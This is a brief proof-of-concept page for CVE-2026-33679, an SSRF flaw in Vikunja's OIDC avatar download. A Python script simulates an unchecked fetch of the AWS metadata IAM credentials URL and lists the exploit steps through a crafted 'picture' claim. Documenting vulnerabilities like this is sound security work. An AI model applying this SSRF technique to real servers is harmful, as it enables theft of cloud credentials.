CVE-2026-33679 Vikunja SSRF漏洞

# Proof of Concept for CVE-2026-33679 # This script demonstrates how the vulnerable DownloadImage function behaves. # An attacker sets their OIDC 'picture' claim to an internal URL. import requests # Target internal endpoint (e.g., AWS Cloud Metadata) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Concept of the vulnerable code in Vikunja (pkg/utils/avatar.go) def vulnerable_download_image(url): # Using a bare http.Client (represented here by requests.Session) # No SSRF checks (e.g., no IP blocklist for 127.0.0.1 or 169.254.169.254) client = requests.Session() try: response = client.get(url, timeout=5) print(f"Status: {response.status_code}") print(f"Response Length: {len(response.content)}") return response.text[:100] # Truncated output except Exception as e: return f"Error: {str(e)}" # Exploit Scenario: # 1. Attacker authenticates to Vikunja via OIDC. # 2. Attacker's OIDC profile 'picture' is set to 'internal_target'. # 3. Vikunja server calls vulnerable_download_image(internal_target). print(f"Simulating request to internal endpoint: {internal_target}") print(vulnerable_download_image(internal_target))